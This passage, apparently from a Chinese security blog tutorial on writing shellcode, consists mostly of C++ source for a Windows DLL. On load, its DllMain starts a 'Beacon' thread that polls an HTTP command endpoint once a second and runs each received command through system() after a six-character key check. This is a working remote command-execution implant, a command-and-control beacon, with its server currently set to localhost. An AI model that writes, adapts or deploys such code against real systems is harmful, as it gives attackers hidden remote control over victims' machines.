reinterpret_cast<LPDWORD>(&realySize)) == false) {
break;
}
status = true;
} while (false);
if (status) {
*outBuffer = buffer;
outBufferSize = bufferSize;
} else {
if (buffer != nullptr) {
free(buffer);
}
}
// close
if (httpRequest != 0) {
WinHttpCloseHandle(httpRequest);
}
if (httpConnectHandle != 0) {
WinHttpCloseHandle(httpConnectHandle);
}
if (httpSession != 0) {
WinHttpCloseHandle(httpSession);
}
return status;
}
} // namespace Winhttp
namespace Auth {
std::string localKey;
auto strRand(int length) -> std::string {
char tmp;
std::string buffer;
std::random_device rd;
std::default_random_engine random(rd());
for (int i = 0; i < length; i++) {
tmp = random() % 36;
if (tmp < 10) {
tmp += '0';
} else {
tmp -= 10;
tmp += 'A';
}
buffer += tmp;
}
return buffer;
}
bool CheckPassword(std::string key) { return key == localKey; }
void Init() { localKey = strRand(6); }
} // namespace Auth
namespace Beacon {
void loopWork() {
static const std::wstring cmdUrl =
L"http://127.0.0.1:1887/api/v1/client/get_cmd";
Auth::Init();
printf("你的本地密钥是: %s 请不要随便分享给其他人n",
Auth::localKey.c_str());
do {
void* buffer = nullptr;
size_t bufferSize = 0;
bool status = Winhttp::Get(cmdUrl, &buffer, bufferSize);
if (status && buffer != nullptr) {
std::string serverCmd =
std::string(reinterpret_cast<char*>(buffer), bufferSize);
if (serverCmd.size() > 0) {
std::string key = serverCmd.substr(0, 6);
if (Auth::CheckPassword(key)) {
std::string cmd = serverCmd.substr(7, serverCmd.size());
printf("cmd: %s n", cmd.c_str());
system(cmd.c_str());
}
}
free(buffer);
}
Sleep(1000);
} while (true);
}
auto easyCreateThread(void* pFunctionAddress, void* pParams) -> HANDLE {
return CreateThread(
NULL, NULL, reinterpret_cast<LPTHREAD_START_ROUTINE>(pFunctionAddress),
static_cast<LPVOID>(pParams), NULL, NULL);
}
auto Work() -> void {
easyCreateThread(reinterpret_cast<void*>(loopWork), nullptr);
}
} // namespace Beacon
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call,
LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
Beacon::Work();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
原文始发于微信公众号(冲鸭安全):手把手填鸭式的Shellcode编写入门教程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论